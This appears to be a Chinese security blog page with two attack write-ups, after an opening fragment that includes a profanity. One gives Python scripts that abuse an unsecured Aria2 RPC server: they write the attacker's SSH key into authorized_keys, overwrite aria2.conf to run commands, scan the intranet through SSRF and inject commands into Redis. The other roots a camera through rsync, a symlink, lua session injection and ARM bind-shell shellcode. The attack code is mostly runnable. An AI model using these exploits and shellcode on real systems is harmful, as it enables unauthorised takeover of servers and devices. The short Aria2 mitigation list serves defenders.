无题

精神上的背叛最可怕

藕断丝连的你们呐

操您妈


Hacking Aria2 RPC Daemon

ABSTRACT

在未设置任何安全措施的情况下,Aria2 RPC Server 可以接受任何未知来源的请求指令,并予以下载。即使存在诸如--rpc-secret--rpc-user--rpc-passwd之类的安全措施,也可以通过社会工程学手段进行攻击。通过 Aria2 RPC Server,可以进行 SSRF、Arbitrary File Write 等 Web 攻击手法,获取服务器权限。

1. INTERDUCTION

Aria2 是一个命令行下运行、多协议、多来源下载工具(HTTP/HTTPS、FTP、BitTorrent、Metalink),内建 XML-RPC 用户界面。[1] Aria 提供 RPC Server,通过--enable-rpc参数启动。Aria2 的 RPC Server 可以方便的添加、删除下载项目。

2. ATTACK TECHNIQUES

2.1 Arbitary File Write

通过控制文件下载链接、文件储存路径以及文件名,可以实现任意文件写入。同时通过 Aria2 提供的其他功能,诸如 save-session 等也能轻易地实现向任意文件写入指定功能。

2.1.1 Bypass --auto-file-renaming and --allow-overwrite

根据 Aria2 RPC Server 的文档 changeGlobalOption 方法支持修改部分全局设置参数。[2] 通过修改 allow-overwrite 参数即可实现绕过自动重命名,且可以直接覆盖指定文件。
即使不修改 allow-overwrite,也可以通过其他方式,比如指定 session 文件路径来覆盖目标文件。

2.1.2 Overwrite .ssh/authorized_keys By Download File

在类 Unix 系统上,持有储存在某用户目录下的 .ssh/authorized_keys 文件中的公钥所对应的私钥的用户可以通过 ssh 直接远程无密码登陆此系统。[3] 如果攻击者可以通过 Aria2 覆盖 .ssh/authorized_keys 文件的话,那么攻击者可以轻易地取得目标系统的权限。

s = PatchedServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pubkey.txt'], {'out': 'authorized_keys', 'dir': '/home/bangumi/.ssh/'}))

通过覆盖 .ssh/authorized_keys,成功登陆到目标服务器。

2.1.3 Overwrite .ssh/authorized_keys By save-session

老版本 Aria2
Aria2 RPC Server 提供 save-session 选项,可以指定在 aria2c 关闭时保存当前下载文件的状态;同时 Aria2 RPC Server 提供 user-agent 选项,可以指定下载文件的 UA。[2]
Aria2 session 格式为:

http://download-server/1.txt
 gid=79e8977d817e750e
 dir=/home/bangumi/.aria2/
 out=1.txt
 allow-overwrite=true
 user-agent=aria2/1.21.1

Aria2 未处理 \n 换行符,可以精心构造 user-agent 来伪造 session 文件,不过这偏离讨论范围。由于 .ssh/authorized_keys 存在容错性,所以可以设置 session 路径为 .ssh/authorized_keys,注入攻击者的 public key 来进行攻击。

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.shutdown())

攻击完成后 aria2 关闭,session 文件储存在指定目录。

新版本 Aria2
新版本的 Aria2 提供了 aria2.saveSession 方法,可以在避免关闭 aria2 的情况下储存 session。

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.saveSession())
2.1.3 Overwrite Aria2 Configuire File

Aria2 提供 --on-download-complete 选项,可以指定下载完成时需要运行的程序。[2] 调用程序的参数为:

hook.sh $1      $2      $3
hook.sh GID     文件编号 文件路径

其中 GID 为 Aria2 自动生成的编号,文件编号通常为 1。--on-download-complete 选项传入的 COMMAND 需要为带有可执行权限的命令路径。
为了执行命令,我们需要寻找一个可以执行第三个参数路径所指向的文件的 COMMAND,不过不幸的是,Linux 下并没有找到类似的 COMMAND。由于前两个参数不可控,且未知,但是 GID 在 Aria2 添加任务的时候就已经返回,所以我们用一个比较取巧的方法执行命令。
首先下载恶意的 aria2 配置文件,并覆盖原本的配置文件,等待 aria2 重新加载配置文件。然后下载一个大文件,得到 GID 后立即暂停,接着下载一个小文件,使得小文件保存的文件名为大文件的 GID,最后再开启大文件的下载,即可执行任意命令。

s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true"}))
pprint(s.aria2.getGlobalOption())
# pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/tmp', 'out': 'authorized_keys'}))
pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/home/bangumi/.aria2/', 'out': 'aria2.conf'}))
raw_input('waiting for restart ...')
r = str(s.aria2.addUri(['http://attacker/bigfile'], {'out': '1'}))
s.aria2.pause(r)
pprint(s.aria2.addUri(['http://attacker/1.sh'], {'out': r}))
s.aria2.unpause(r)

下载完成后,Aria2 将会执行如下命令:

/bin/bash GID 1 /path/to/file

由于 GID 我们已知,且存在名为 GID 的文件,调用时路径基于当前目录,所以可以成功执行。

2.2 SSRF

Scan Intranet HTTP Service
利用 Aria2 下载文件的特性,且对于下载的地址未限制,所以可以通过 Aria2 对于内网资源进行请求访问。

def gen():
    return ['http://172.16.98.%d/' % (i,) for i in range(0, 255)]


def main():
    s = ServerProxy("http://victim/rpc")
    t = [s.aria2.addUri([i], {'dir': '/tmp'}) for i in gen()]
    pprint(s.aria2.changeGlobalOption({'max-concurrent-downloads': '50', 'connect-timeout': '3', 'timeout': '3'}))
    pprint(s.aria2.getGlobalOption())
    while 1:
        for f in t:
            pprint(s.aria2.getFiles(f))

利用如上代码可对于内网资源进行扫描。

Attack Redis Server
Aria2 的 user-agent 未过滤 \n,可以通过换行来攻击内网 Redis Server。[4]

payload = '''
CCONFIG SET DIR /root/.ssh
CCONFIG SET DBFILENAME authorized_keys
SSET 1 "\\n\\n\\nssh-rsa .... root@localhost\\n\\n"
SSAVE
QQUIT
'''
s = ServerProxy("http://victom/rpc")
s.aria2.changeGlobalOption({'user-agent': payload})
pprint(s.aria2.addUri(['http://127.0.0.1:6379/'], {'dir': '/tmp'}))

攻击成功后,/root/.ssh/authorized_keys 被覆盖,可通过 ssh 无密码登陆。

3. MITIGATION TECHNIQUES

3.1 CLI OPTIONS

  • --rpc-listen-all:最好关闭此项功能
  • --allow-overwrite:应当关闭此项功能
  • --auto-file-renaming:应当开启此项功能
  • --rpc-secret:应当开启此项功能

3.2 PERMISSIONS

  • 通过 nobody 用户运行 aria2c

REFERENCES

  1. Aria2 - Ubuntu中文. http://wiki.ubuntu.org.cn/Aria2
  2. aria2c(1) - aria2 1.29.0 documentation. https://aria2.github.io/manual/en/html/aria2c.html
  3. Secure Shell - Wikipedia. https://en.wikipedia.org/wiki/Secure_Shell
  4. 利用 gopher 协议拓展攻击面. https://ricterz.me/posts/利用%20gopher%20协议拓展攻击面

Pwn A Camera Step by Step (Web ver.)

闲来无事,买了一个某品牌的摄像头来 pwn 着玩(到货第二天就忙成狗了,flag 真是立的飞起)。
本想挖一挖二进制方面的漏洞,但是死性不改的看了下 Web,通过一个完整的攻击链获取到这款摄像头的 root 权限,感觉还是很有意思的。

0x00

配置好摄像头连上内网后,首先习惯性的用 nmap 扫描了一下端口。

>>> ~ nmap 192.168.1.101 -n -v --open

Starting Nmap 7.12 ( https://nmap.org ) at 2016-11-01 12:13 CST
Initiating Ping Scan at 12:13
Scanning 192.168.1.101 [2 ports]
Completed Ping Scan at 12:13, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 12:13
Scanning 192.168.1.101 [1000 ports]
Discovered open port 80/tcp on 192.168.1.101
Discovered open port 554/tcp on 192.168.1.101
Discovered open port 873/tcp on 192.168.1.101
Discovered open port 52869/tcp on 192.168.1.101
Completed Connect Scan at 12:13, 0.35s elapsed (1000 total ports)
Nmap scan report for 192.168.1.101
Host is up (0.051s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
80/tcp    open  http
554/tcp   open  rtsp
873/tcp   open  rsync
52869/tcp open  unknown

Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

除了 554、80,居然发现了一个 873 端口。873 是 rsync 的端口,一个摄像头居然开启了这个端口,感觉到十分的费解。
查看了下 rsync 的目录,发现有密码,暂时搁置。

>>> ~ rsync 192.168.1.101::                                                                             12:22:03

usb             rsync_mgr
nas             rsync_mgr
>>> ~ rsync 192.168.1.101::nas                                                                          12:22:06

Password:
@ERROR: auth failed on module nas
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]

Web 端黑盒没有分析出漏洞,同样暂时搁置。
不过暂时发现有意思的一点,这个摄像头可以挂载 NFS。

0x01

下面着手分析固件。
在官网下载固件后,用 firmware-mod-kit 解包。

/home/httpd 存放着 Web 所有的文件,是 lua 字节码。file 一下发现是 lua-5.1 版本的。
利用 unluac.jar 解码得到 Web 源码。
本以为会有命令执行等漏洞,因为会有 NFS 挂载的过程。但是并没有找到所谓的漏洞存在。
同时看了下 rsync 配置文件,发现密码为 ILove****

但是尝试查看内容的时候提示 chdir faild,难道说这个文件不存在?

>>> ~/D/httpd rsync rsync@192.168.1.101::nas --password-file /tmp/p

@ERROR: chdir failed
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]

突然有个猜想划过脑海。于是我搭建了一个 NFS 服务器,然后配置好摄像头 NFS:

再次运行 rsync:

>>> ~/D/httpd rsync rsync@192.168.1.101::nas --password-file /tmp/p

drwxrwxrwx        4096 2016/11/01 12:35:47 .
drwxr-xr-x        4096 2016/11/01 12:35:47 HN1A009G9M12857

Bingo!

0x02

rsync 目录限制在 /mnt/netsrv/nas 了,如何绕过呢。
symbolic link 来帮你_(:3」∠)_
愚蠢的 rsync 并没有设置 chroot,于是我可以直接创建一个指向 / 的符号链接,然后可以访问任意目录。

>>> ~/D/httpd rsync --password-file /tmp/p rsync@192.168.1.101::nas/HN1A009G9M12857/pwn/

drwxr-xr-x         216 2016/07/23 11:28:55 .
lrwxrwxrwx          11 2016/07/23 11:28:43 linuxrc
lrwxrwxrwx           9 2016/07/23 11:28:55 tmp
drwxr-xr-x         971 2016/07/23 11:28:56 bin
drwxrwxrwt       10620 1970/01/01 08:00:10 dev
drwxr-xr-x         603 2016/07/23 11:28:55 etc
drwxr-xr-x          28 2016/07/23 11:28:43 home
drwxr-xr-x        1066 2016/07/23 11:28:56 lib
drwxr-xr-x          60 2016/07/23 11:27:31 mnt
dr-xr-xr-x           0 1970/01/01 08:00:00 proc
drwxr-xr-x         212 2016/07/23 11:28:56 product
drwxr-xr-x           3 2016/07/23 11:27:31 root
drwxr-xr-x         250 2016/07/23 11:28:43 sbin
drwxr-xr-x           0 1970/01/01 08:00:01 sys
drwxr-xr-x          38 2016/07/23 11:27:31 usr
drwxr-xr-x          50 2016/07/23 11:28:55 var

正当我愉快的打算 rsync 一个 lua 的 shell 到上面时,却发现除了 /tmp/,整个文件系统都不可写。
嘛,没关系,我们还有 Web 源码可以看。

local initsession = function()
  local sess_id = cgilua.remote_addr
  if sess_id == nil or sess_id == "" then
    g_logger:warn("sess_id error")
    return
  end
  g_logger:debug("sess_id = " .. sess_id)
  setsessiondir(_G.CGILUA_TMP)
  local timeout = 300
  local t = cmapi.getinst("OBJ_USERIF_ID", "")
  if t.IF_ERRORID == 0 then
    timeout = tonumber(t.Timeout) * 60
  end
  setsessiontimeout(timeout)
  session_init(sess_id)
  return sess_id
end

initsession 函数创建了一个文件名为 IP 地址的 session,文件储存在 /tmp/lua_session

>>> ~/D/httpd rsync --password-file /tmp/p rsync@192.168.1.101::nas/HN1A009G9M12857/pwn/tmp/lua_session/

drwxrwxr-x          60 2016/11/01 12:11:12 .
-rw-r--r--         365 2016/11/01 12:35:55 192_168_1_100.lua

同步回来,加一句 os.execute(cgilua.POST.cmd);,然后同步回去。

看起来已经成功执行了命令。但是我尝试了常见的 whoamiid 等命令,发现并不存在,通过 sh 反弹 shell 也失败了。感觉很尴尬233333

0x03

通过收集部分信息得知摄像头为 ARM 架构,编写一个 ARM 的 bind shell 的 exp:

void main()
{
    asm(
    "mov %r0, $2\n"
    "mov %r1, $1\n"
    "mov %r2, $6\n"
    "push {%r0, %r1, %r2}\n"
    "mov %r0, $1\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, %sp, $12\n"
    "mov %r6, %r0\n"
    ".if 0\n"
    "mov %r0, %r6\n"
    ".endif\n"
    "mov %r1, $0x37\n"
    "mov %r7, $0x13\n"
    "mov %r1, %r1, lsl $24\n"
    "add %r1, %r7, lsl $16\n"
    "add %r1, $2\n"
    "sub %r2, %r2, %r2\n"
    "push {%r1, %r2}\n"
    "mov %r1, %sp\n"
    "mov %r2, $16\n"
    "push {%r0, %r1, %r2}\n"
    "mov %r0, $2\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, %sp, $20\n"
    "mov %r1, $1\n"
    "mov %r0, %r6\n"
    "push {%r0, %r1}\n"
    "mov %r0, $4\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, $8\n"
    "mov %r0, %r6\n"
    "sub %r1, %r1, %r1\n"
    "sub %r2, %r2, %r2\n"
    "push {%r0, %r1, %r2}\n"
    "mov %r0, $5\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, %sp, $12\n"
    "mov %r6, %r0\n"
    "mov %r1, $2\n"
    "1:  mov %r0, %r6\n"
    "svc 0x0090003f\n"
    "subs %r1, %r1, $1\n"
    "bpl 1b\n"
    "sub %r1, %sp, $4\n"
    "sub %r2, %r2, %r2\n"
    "mov %r3, $0x2f\n"
    "mov %r7, $0x62\n"
    "add %r3, %r7, lsl $8\n"
    "mov %r7, $0x69\n"
    "add %r3, %r7, lsl $16\n"
    "mov %r7, $0x6e\n"
    "add %r3, %r7, lsl $24\n"
    "mov %r4, $0x2f\n"
    "mov %r7, $0x73\n"
    "add %r4, %r7, lsl $8\n"
    "mov %r7, $0x68\n"
    "add %r4, %r7, lsl $16\n"
    "mov %r5, $0x73\n"
    "mov %r7, $0x68\n"
    "add %r5, %r7, lsl $8\n"
    "push {%r1, %r2, %r3, %r4, %r5}\n"
    "add %r0, %sp, $8\n"
    "add %r1, %sp, $0\n"
    "add %r2, %sp, $4\n"
    "svc 0x0090000b\n"
    );
}

编译:

arm-linux-gcc 2.c -o 2 -static

通过 rsync 扔到 /tmp 目录,然后跑起来:

rsync --password-file /tmp/p 2 rsync@192.168.1.101::nas/HN1A009G9M12857/pwn/tmp/
curl http://192.168.1.101 --data "cmd=wget%20192.168.1.100:2333/`/tmp/2%26`"

连接 4919 端口:

Pwned